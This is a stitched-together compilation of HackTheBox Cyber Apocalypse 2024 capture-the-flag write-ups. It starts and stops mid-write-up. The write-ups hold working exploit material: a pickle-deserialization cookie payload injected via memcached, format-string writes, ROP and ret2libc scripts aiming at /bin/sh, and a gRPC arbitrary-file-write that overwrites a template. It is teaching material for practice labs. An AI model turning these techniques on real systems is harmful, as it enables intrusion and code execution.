```bashGET /set?uicolour=cat HTTP/1.1Host: 127.0.0.1:1337User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brDNT: 1Connection: closeCookie: session="\061\063\067\015\012\163\145\164\040\102\124\137\072\064\062\060\040\060\040\062\065\071\062\060\060\060\040\067\070\015\012\143\160\157\163\151\170\012\163\171\163\164\145\155\012\160\060\012\050\126\143\160\040\057\146\154\141\147\052\056\164\170\164\040\141\160\160\154\151\143\141\164\151\157\156\057\164\145\155\160\154\141\164\145\163\057\151\156\144\145\170\056\150\164\155\154\012\160\061\012\164\160\062\012\122\160\063\012\056\015\012\147\145\164\040\102\124\137\072\064\062\060"```
We might need to send the request several times, as the server seems to crash regularly. Eventually, the command will execute and `index.html` will be replaced with the flag. Therefore, when we follow the redirect, the flag is displayed.
Flag: `HTB{y0u_th0ught_th15_wou1d_b3_s1mpl3?}` |
# Flag Command
## Video Walkthrough
[![VIDEO](https://img.youtube.com/vi/-vhl8ixthO4/0.jpg)](https://www.youtube.com/watch?v=-vhl8ixthO4?t=19 "HackTheBox Cyber Apocalypse '24: Flag Command (web)")
## Description
> Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
## Solution
We load the webpage and find a terminal, enter a random string.
```bash'hi' command not found. For a list of commands, type 'help'```
OK, let's do it.
```bash>> help
start Start the gameclear Clear the game screenaudio Toggle audio on/offrestart Restart the gameinfo Show info about the game```
If we start the game, we can select one of 4 options. I choose to `HEAD NORTH`.
```bash>> start
YOU WAKE UP IN A FOREST.
You have 4 options!HEAD NORTHHEAD SOUTHHEAD EASTHEAD WEST
>> HEAD NORTH
Venturing forth with the grace of a three-legged cat, you head North. Turns out, your sense of direction is as bad as your cooking - somehow, it actually works out this time. You stumble into a clearing, finding a small, cozy-looking tavern with "The Sloshed Squirrel" swinging on the signpost. Congratulations, you've avoided immediate death by boredom and possibly by beasties. For now...
You have 4 options!GO DEEPER INTO THE FORESTFOLLOW A MYSTERIOUS PATHCLIMB A TREETURN BACK```
We get another 4 options. At this point, let's check the web traffic in burp. There's a call to `/api/options` and in it are some possible commands. Notice we have a `secret` option.
```json{ "allPossibleCommands": { "1": ["HEAD NORTH", "HEAD WEST", "HEAD EAST", "HEAD SOUTH"], "2": [ "GO DEEPER INTO THE FOREST", "FOLLOW A MYSTERIOUS PATH", "CLIMB A TREE", "TURN BACK" ], "3": [ "EXPLORE A CAVE", "CROSS A RICKETY BRIDGE", "FOLLOW A GLOWING BUTTERFLY", "SET UP CAMP" ], "4": [ "ENTER A MAGICAL PORTAL", "SWIM ACROSS A MYSTERIOUS LAKE", "FOLLOW A SINGING SQUIRREL", "BUILD A RAFT AND SAIL DOWNSTREAM" ], "secret": ["Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"] }}```
Let's send the secret message and receive the flag!
```bash>> Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}```
Note: I didn't actually solve it like this. Instead I checked the JS before playing the game and saw this function.
```jsconst fetchOptions = () => { fetch("/api/options") .then((data) => data.json()) .then((res) => { availableOptions = res.allPossibleCommands; }) .catch(() => { availableOptions = undefined; });};```
Subsequently, I made a GET request to this endpoint and discovered the secret option.
Flag: `HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}` |
# Delulu
## Description
> HALT! Recognition protocol initiated. Please present your face for scanning.>> [Attached file](https://github.com/JOvenOven/ctf-writeups/tree/main/Cyber_Apocalypse_2024_Hacker_Royale/pwn/delulu/challenge)
Tags: _Pwn_ \Difficulty: _very easy_ \Points: _300_
## Recognition phase
The first step for all challenges is to perform recognition tasks to assess the functionality and security posture of the application.
```$ file deluludelulu: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=edae8c8bd5153e13fa60aa00f53071bb7b9a122f, for GNU/Linux 3.2.0, not stripped```
```$ checksec delulu[*] '/home/jovenoven/Downloads/ctf/cyberApocalypse2024_HTB/pwn/delulu/delulu' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc/'```Decompiling the binary with `Ghidra`:```c/* decompilation from Ghidra */undefined8 main(void)
{ long in_FS_OFFSET; long local_48; long *local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_48 = 0x1337babe; local_40 = &local_48; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; read(0,&local_38,0x1f); printf("\n[!] Checking.. "); printf((char *)&local_38); if (local_48 == 0x1337beef) { delulu(); } else { error("ALERT ALERT ALERT ALERT\n"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
```c/* decompilation from Ghidra */void delulu(void)
{ ssize_t sVar1; long in_FS_OFFSET; char local_15; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_14 = open("./flag.txt",0); if (local_14 < 0) { perror("\nError opening flag.txt, please contact an Administrator.\n"); /* WARNING: Subroutine does not return */ exit(1); } printf("You managed to deceive the robot, here\'s your new identity: "); while( true ) { sVar1 = read(local_14,&local_15,1); if (sVar1 < 1) break; fputc((int)local_15,stdout); } close(local_14); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```In summary, ``main()`` function ask for an user input which is then printed back after the string `[!] Checking..`. We aim to execute the `delulu()` function, which prints the flag. This function is executed when the variable `local_48` equals `0x1337beef`, but that variable is never directly changed by the user.
## Finding the bug
We can identify the bug by analyzing the code and dynamically testing the binary:
A `Buffer Overflow (BOF)` bug exists because the variable `local_38` is 8 bytes long, but we can write up to 31 bytes to it. However, upon examining the stack layout provided by `Ghidra` for the `main()` function, we observe that the overwritten values are `local_30`, `local_28`, and `local_10`, rather than the return address or `local_48`, the variable we intend to overwrite. Therefore, we can rule out Buffer Overflow.
```******************************************* FUNCTION ******************************************* undefined main()undefined AL:1 <RETURN>undefined8 Stack[-0x10]:8 local_10 undefined8 Stack[-0x20]:8 local_20undefined8 Stack[-0x28]:8 local_28undefined8 Stack[-0x30]:8 local_30undefined8 Stack[-0x38]:8 local_38 undefined8 Stack[-0x40]:8 local_40undefined8 Stack[-0x48]:8 local_48```
2. Testing `String Format Vulnerability` by inserting the printf format specifier `%p`
```$ ./delulu
...
Try to deceive it by changing your ID.
>> %p %p %p %p
[!] Checking.. 0x7ffcbc2c1090 (nil) 0x7f8b15413887 0x10
[-] ALERT ALERT ALERT ALERT
```The program does not display our input but instead prints stack pointers. This behavior indicates that the program is vulnerable to ``String Format Vulnerability``, a fact corroborated by the code itself. The user input is directly passed to the ``printf()`` function without a corresponding format specifier, which poses a security risk. That specific line of code should have been written as follows:```cprintf("%s", (char *)&local_38);```
## Exploitation phase
To trigger the execution of the ``delulu()`` function, we must modify the value of ``local_48`` from ``0x1337babe`` to ``0x1337beef``. Exploiting the String Format Vulnerability allows us to overwrite memory values, including those referenced by variables on the stack. By identifying the offset in the stack of the ``local_40`` variable, which holds the address of our target ``local_48``, we can achieve that goal. The offset was determined using this fuzzing script:
```pyfrom pwn import *
# This will automatically get context arch, bits, os etcelf = context.binary = ELF('delulu', checksec=False)
# Let's fuzz 100 valuesfor i in range(1,100): try: # Create process (level used to reduce noise) p = process(level='error') # When we see the user prompt '>', format the counter # e.g. %2$s will attempt to print as a string the value # pointed to by the second pointer in the stack p.sendlineafter(b'> ', '%{}$s'.format(i).encode()) # Receive the response p.recvuntil(b'.. ') result = p.recvuntil(b'\n') print(str(i) + ': ' + str(result)) # Exit the process p.close() except EOFError: pass```
```$ python fuzz.py 1: b'\n'2: b'(null)\n'3: b'H=\n'7: b'\xbe\xba7\x13\n'
...```
The value ``0x1337babe`` is located at the 7th offset (displayed in little-endian byte format). With this information, we are now prepared to craft our final exploit which is as follows:```A%48878x%7$hn```The format specifier ``%7$hn`` in the printf function instructs ``printf()`` to overwrite the least significant 2 bytes of the value pointed to by the pointer at offset 7 (our target string ``0x1337babe``). In this context, the value written is ``0xbeef``, which corresponds to the length of the output produced by the first part of our exploit ``A%48878x``. This initial part prints the argument 'A' padded with at least 48878 characters, effectively changing the value of ``local_48`` form ``0x1337babe`` to ``0x1337beef``.
Flag `HTB{m45t3r_0f_d3c3pt10n}` |
# Rocket Blaster XXX
## Description
> Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!>> [Attached file](https://github.com/JOvenOven/ctf-writeups/tree/main/Cyber_Apocalypse_2024_Hacker_Royale/pwn/rocket_blaster_xxx/challenge)
Tags: _Pwn_ \Difficulty: _easy_ \Points: _300_
## Recognition phase
Run usual recognition commands:
```$ file rocket_blaster_xxx rocket_blaster_xxx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=9e28ecfbaaa7523f12988b4e40c003ec28baf849, for GNU/Linux 3.2.0, not stripped```
```$ checksec rocket_blaster_xxx [*] '/home/jovenoven/Downloads/ctf/cyberApocalypse2024_HTB/pwn/rocket_blaster_xxx/rocket_blaster_xxx' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./glibc/'```
Without canaries and PIE disabled we can potentially do a simple `BOF` and call functions from within the binary without needing to leak them dynamically.
```c/* decompilation from Ghidra */undefined8 main(void)
{ undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined8 local_10; banner(); local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; fflush(stdout); printf( "\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in the right place to load the Rocket Blaster XXX!\n\n>> " ); fflush(stdout); read(0,&local_28,0x66); puts("\nPreparing beta testing.."); return 0;}```
```c/* decompilation from Ghidra */void fill_ammo(long param_1,long param_2,long param_3)
{ ssize_t sVar1; char local_d; int local_c; local_c = open("./flag.txt",0); if (local_c < 0) { perror("\nError opening flag.txt, please contact an Administrator.\n"); /* WARNING: Subroutine does not return */ exit(1); } if (param_1 != 0xdeadbeef) { printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n",&DAT_00402010,&DAT_00402008, &DAT_00402010); /* WARNING: Subroutine does not return */ exit(1); } if (param_2 != 0xdeadbabe) { printf(&DAT_004020c0,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010); /* WARNING: Subroutine does not return */ exit(2); } if (param_3 != 0xdead1337) { printf(&DAT_00402100,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010); /* WARNING: Subroutine does not return */ exit(3); } printf(&DAT_00402140,&DAT_004020b6); fflush(stdin); fflush(stdout); while( true ) { sVar1 = read(local_c,&local_d,1); if (sVar1 < 1) break; fputc((int)local_d,stdout); } close(local_c); fflush(stdin); fflush(stdout); return;}```
Main does nothing but reading up to ``0x66`` bytes of data from the user input and stores the value in an 8 byte variable `local_28`. In the other hand, we have a hidden function that prints the flag if given the arguments ``0xdeadbeef``, ``0xdeadbabe``, ``0xdead1337`` in that order.
## Finding the bug
We clearly have a buffer overflow bug with offset of 40 bytes
```$ ./rocket_blaster_xxx
... >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Preparing beta testing.. Segmentation fault```
## Exploitation phase
We can leverage the buffer overflow bug to create a ``Rop chain`` in order to set the parameters needed to execute `fill_ammo()` successfully. I used `ropper` to find them.
```$ ropper --file rocket_blaster_xxx [INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%
Gadgets
... 0x000000000040159f: pop rdi; ret; 0x000000000040159b: pop rdx; ret;...0x000000000040159d: pop rsi; ret;...0x000000000040101a: ret;=======
```
With this gadgets at hand we can write our final exploit, the registers `RDI`, `RSI` and `RDX` will be used to set the first, second, and third parameters respectively, those registers are commonly use for that purpose. Before popping the parameters from the stack to the registers, it is necessary to write a `ret` gadget to avoid stack alignment issues. Finally, set the `fill_ammo` function at the end of the `ROP chain` to execute it and get the flag. Here is my exploit script:
```Python#!/usr/bin/python3from pwn import *
# Set up the target binary by specifying the ELF fileelf = context.binary = ELF("rocket_blaster_xxx")
# Defining the GDB script that will be used when running the binarygs = '''continue'''# Launch the binary with GDB, without GDB or REMOTE based on the command-line argumentsdef start(): if args.REMOTE: return remote("83.136.251.235", 57283) else: if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)
io = start()
#=======================================================================================
pop_rdi = 0x40159fpop_rdx = 0x40159bpop_rsi = 0x40159dret = 0x40101a;
io.sendlineafter(b">> ", b"A"*40 + p64(ret) \ + p64(pop_rdi) + p64(0xdeadbeef) \ + p64(pop_rsi) + p64(0xdeadbabe) \ + p64(pop_rdx) + p64(0xdead1337) \ + p64(elf.sym.fill_ammo))
#=======================================================================================
# Interact with the processio.interactive()``````./xpl.py REMOTE
...
Preparing beta testing..[✓] [✓] [✓] All Placements are set correctly! Ready to launch at: HTB{b00m_b00m_r0ck3t_2_th3_m00n}```\Flag `HTB{b00m_b00m_r0ck3t_2_th3_m00n}` |
# Delulu
HALT! Recognition protocol initiated. Please present your face for scanning.
## Writeup
This is the main function of the binary:
```cundefined8 main(void)
{ long in_FS_OFFSET; long target; long *local_40; undefined8 buffer; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); target = 0x1337babe; local_40 = ⌖ buffer = 0; local_30 = 0; local_28 = 0; local_20 = 0; read(0,&buffer,31); printf("\n[!] Checking.. "); printf((char *)&buffer); if (target == 0x1337beef) { delulu(); } else { error("ALERT ALERT ALERT ALERT\n"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
There is a format string on **buffer**.
We can try to print stack variable in order to detect where is the pointer of the variable that we want to change:
```>> %x.%x.%x.%x.%x.%x.%x
[!] Checking.. e3b6280.0.6314887.10.7fffffff.1337babe.e3b83a0```
So the target variable contain the value **0x1337babe** and his address by reading the code will be the successive value **0xe3b83a0**.
To check it, just send **%7$s**, because is at the 7th position on the stack and we want to retreive his content:
```>> %7$s
[!] Checking.. 7```
The value is **7**, that is the ascii rapresentation of **0x1337babe**
```>> %7$x.%x.%x.%x.%x.%x.%x.%x
[!] Checking.. fea970a0.fea94f80.0.8fd14887.10.7fffffff.1337babe.fea970a0```
We can write in this address using **%c** and pointing into the target variable with **%7$n**.
To write **0x1337beef** value, we can add the integer rappresentation of this address times a char, like this:
```pythonpayload = f"%{0x1337beef}c%7$n"```
But if we use this payload the exploit will take some time, so we can send half of chars using the format string **%7$hn**:
```pythonpayload = f"%{0xbeef}c%7$hn"```
The final exploit will be:
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 83.136.249.159 --port 44420 delulufrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or 'delulu')context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']if args['LOCAL']: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Can be found via $ ldd exeelse: libc = ELF('glibc/libc.so.6', checksec=False)
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '83.136.249.159'port = int(args.PORT or 44420)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled# RUNPATH: b'./glibc/'
io = start()
address = 0xbeef
payload = f"%{address}c%7$hn"
io.sendlineafter(b'>>', payload)
io.interactive()```
This is the flag:
```HTB{m45t3r_0f_d3c3pt10n}``` |
```def decrypt(c): m = '' for i in range(len(c)): ch = c[i] if not ch.isalpha(): dch = ch else: chi = (ord(ch) - 0x41) % 26 dch = chr((chi - i) % 26 + 0x41) m += dch return m
if __name__ == '__main__': ciphertext = "DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL" print("Flag: HTB{" + decrypt(ciphertext) + "}")
``` |
CVE ID
by filtering with 'tcp.port==21 && ftp' we get some response with 200 and it's FTP version{vsFTPd 2.3.4}. We can mark some logging attemps also. So this the way to access the server. search 'vsFTP 2.3.4 CVE' |
# Testimonial
As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.
## Writeup
The site interact with a **gRPC** server, that has the port exposed.
If we interact with the **gPRC** server by the site, we have this additional check:
```gofunc (c *Client) SendTestimonial(customer, testimonial string) error { ctx := context.Background() // Filter bad characters. for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} { customer = strings.ReplaceAll(customer, char, "") }
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial}) return err}```
So we can use directly the port of **gPRC** to send our payload.
The **gPRC** server have a stub called **SubmitTestimonial** that is used to write an file inside **/public/testimonials** directory:
```gofunc (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) { if req.Customer == "" { return nil, errors.New("Name is required") } if req.Testimonial == "" { return nil, errors.New("Content is required") }
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644) if err != nil { return nil, err }
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil}```
So this application is vulnerable to **arbitrary file write**
We can use it to rewrite the **index.templ** file in order to print the flag:
```gopackage home
import ( "htbchal/view/layout" "io/fs" "fmt" "os")
templ Index() { @layout.App(true) { @Testimonials() }}
func GetTestimonials() []string { fsys := os.DirFS("/") files, err := fs.ReadDir(fsys, ".") if err != nil { return []string{fmt.Sprintf("Error reading testimonials: %v", err)} } var res []string for _, file := range files { fileContent, _ := fs.ReadFile(fsys, file.Name()) res = append(res, string(fileContent)) } return res}
templ Testimonials() { for _, item := range GetTestimonials() { <div class="col-md-4"> <div class="card mb-4"> <div class="card-body"> "{item}" </div> </div> </div> }}```
"{item}"
Write the **ptypes.proto** file:
```protosyntax = "proto3";
option go_package = "/pb";
service RickyService { rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}}
message TestimonialSubmission { string customer = 1; string testimonial = 2;}
message GenericReply { string message = 1;}```
Launch this command to generate the python code to interact with **gRPC**:
```bashpython -m grpc_tools.protoc --proto_path=. ./ptypes.proto --python_out=. --grpc_python_out=.```
Now we have **ptypes_pb2_grpc.py** and **ptypes_pb2.py**, let's write the exploit:
```pythonimport grpcimport ptypes_pb2_grpc as pb2_grpcimport ptypes_pb2 as pb2
payload = """package home
import ( "htbchal/view/layout" "io/fs" "fmt" "os")
templ Index() { @layout.App(true) { @Testimonials() }}
func GetTestimonials() []string { fsys := os.DirFS("/") files, err := fs.ReadDir(fsys, ".") if err != nil { return []string{fmt.Sprintf("Error reading testimonials: %v", err)} } var res []string for _, file := range files { fileContent, _ := fs.ReadFile(fsys, file.Name()) res = append(res, string(fileContent)) } return res}
templ Testimonials() { for _, item := range GetTestimonials() { <div class="col-md-4"> <div class="card mb-4"> <div class="card-body"> "{item}" </div> </div> </div> }}"""
"{item}"
class PtypesClient(object): """ Client for gRPC functionality """
def __init__(self): self.host = 'localhost' self.server_port = 50045
# instantiate a channel self.channel = grpc.insecure_channel( '{}:{}'.format(self.host, self.server_port))
# bind the client and the server self.stub = pb2_grpc.RickyServiceStub(self.channel)
def get_url(self, customer, testimonial): """ Client function to call the rpc for SubmitTestimonial """ message = pb2.TestimonialSubmission(customer=customer, testimonial=testimonial) print(f'{message}') return self.stub.SubmitTestimonial(message)
if __name__ == '__main__': client = PtypesClient()
filename = "../../view/home/index.templ"
result = client.get_url(customer=filename, testimonial=payload) print(f'{result}')```
Now go to the site and the flag is:
```HTB{w34kly_t35t3d_t3mplate5}``` |
# Rocket Blaster XXX
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
# Writeup
This is the main function:
```cundefined8 main(void)
{ undefined8 buffer; undefined8 local_20; undefined8 local_18; undefined8 local_10; banner(); buffer = 0; local_20 = 0; local_18 = 0; local_10 = 0; fflush(stdout); printf( "\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in the right place to load the Rocket Blaster XXX!\n\n>> " ); fflush(stdout); read(0,&buffer,102); puts("\nPreparing beta testing.."); return 0;}```
We can do buffer overflow of 8*4 **buffer** dimension plus the **ebp** dimension (8 byte).
We want to execute the **fill_ammo** function with **param_1** equal to **0xdeadbeef**, **param_2** equal to **0xdeadbabe** and **param_3** equal to **0xdead1337**:
```cvoid fill_ammo(long param_1,long param_2,long param_3)
{ ssize_t sVar1; char local_d; int local_c; local_c = open("./flag.txt",0); if (local_c < 0) { perror("\nError opening flag.txt, please contact an Administrator.\n"); /* WARNING: Subroutine does not return */ exit(1); } if (param_1 != 0xdeadbeef) { printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n",&DAT_00402010,&DAT_00402008, &DAT_00402010); /* WARNING: Subroutine does not return */ exit(1); } if (param_2 != 0xdeadbabe) { printf(&DAT_004020c0,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010); /* WARNING: Subroutine does not return */ exit(2); } if (param_3 != 0xdead1337) { printf(&DAT_00402100,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010); /* WARNING: Subroutine does not return */ exit(3); } printf(&DAT_00402140,&DAT_004020b6); fflush(stdin); fflush(stdout); while( true ) { sVar1 = read(local_c,&local_d,1); if (sVar1 < 1) break; fputc((int)local_d,stdout); } close(local_c); fflush(stdin); fflush(stdout); return;}```
We can use some **ROP gadget** to call the function using the **x64 calling function convention** for linux.
The payload will be:
```b'A' * offsetretpop_rdiparam_1pop_rsiparam_2pop_rdxparam_3fill_ammo```
So the final exploit will be:
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 94.237.53.26 --port 42376 rocket_blaster_xxxfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or 'rocket_blaster_xxx')context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']if args['LOCAL']: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Can be found via $ ldd exeelse: libc = ELF('glibc/libc.so.6', checksec=False)# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '94.237.53.26'port = int(args.PORT or 42376)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)# RUNPATH: b'./glibc/'
io = start()
buffer_dim = 4 * 8saved_rbp_dim = 8
offset = buffer_dim + saved_rbp_dim
fill_ammo = exe.symbols['fill_ammo']
rop = ROP(exe)ret = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
param_1 = 0xdeadbeefparam_2 = 0xdeadbabeparam_3 = 0xdead1337
payload = [ b'A' * offset, p64(ret), p64(pop_rdi), p64(param_1), p64(pop_rsi), p64(param_2), p64(pop_rdx), p64(param_3), p64(fill_ammo)]
payload = b''.join(payload)
io.sendlineafter(b'>>', payload)
io.interactive()```
The flag is:
```Ready to launch at: HTB{b00m_b00m_r0ck3t_2_th3_m00n}``` |
# Pet Companion
Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet's demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.
## Writeup
This is the main function:
```cundefined8 main(void)
{ undefined8 buffer; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined8 local_10; setup(); buffer = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; write(1,"\n[!] Set your pet companion\'s current status: ",0x2e); read(0,&buffer,256); write(1,"\n[*] Configuring...\n\n",0x15); return 0;}```
The buffer is of 8*8 dimension plus the **saved ebp** that is 8 bytes.
We need to **leak** the address of the **write** function.
To do so, need to use the **plt** and the **got** address, but we need some gadget to call the function.
The binary only have **pop rdi** and **pop rsi**:
```0x0000000000400743 : pop rdi ; ret 0x0000000000400741 : pop rsi ; pop r15 ; ret ```
So we don't use directly the third argument, need to use the value that is stored on **rdx** register for the size of buffer.
The first payload is used to leak the **write** function address:
```b'A' * offsetpop_rdi0x01 # stdoutpop_rsi_pop_r15write_got0x01 # junk for r15write_pltmain # call again main```
Now we have the address of **write** function. Use it to bypass **ASLR** and send the second payload to pwn the binary:
```b'A' * offset,pop_rdibin_shsystem_addrexit_addr```
The final payload will be:
```python#!/usr/bin/env python3# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 94.237.63.46 --port 42734 pet_companionfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF(args.EXE or 'pet_companion')context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']if args['LOCAL']: libc = ELF('./glibc/libc.so.6', checksec=False) # Can be found via $ ldd exeelse: libc = ELF('./glibc/libc.so.6', checksec=False)
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executablehost = args.HOST or '94.237.63.46'port = int(args.PORT or 42734)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)# RUNPATH: b'./glibc/'
io = start()
buffer_dim = 8*8saved_ebp_dim = 8
offset = buffer_dim + saved_ebp_dim
main = exe.symbols['main']write_plt = exe.plt['write']write_got = exe.got['write']
rop = ROP(exe)ret = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi_pop_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = [ b'A' * offset, p64(pop_rdi), p64(0x01), p64(pop_rsi_pop_r15), p64(write_got), p64(0x01), # junk for r15 p64(write_plt), p64(main)]
payload = b''.join(payload)
io.sendlineafter(b':', payload)
# Read the write addressio.recvuntil(b'Configuring...\n\n')write_address = u64(io.read(8))
io.info(f'Write address: {hex(write_address)}')
libc.address = write_address - libc.symbols['write']
bin_sh = next(libc.search(b"/bin/sh\x00"))system_addr = libc.symbols['system']exit_addr = libc.symbols['system']
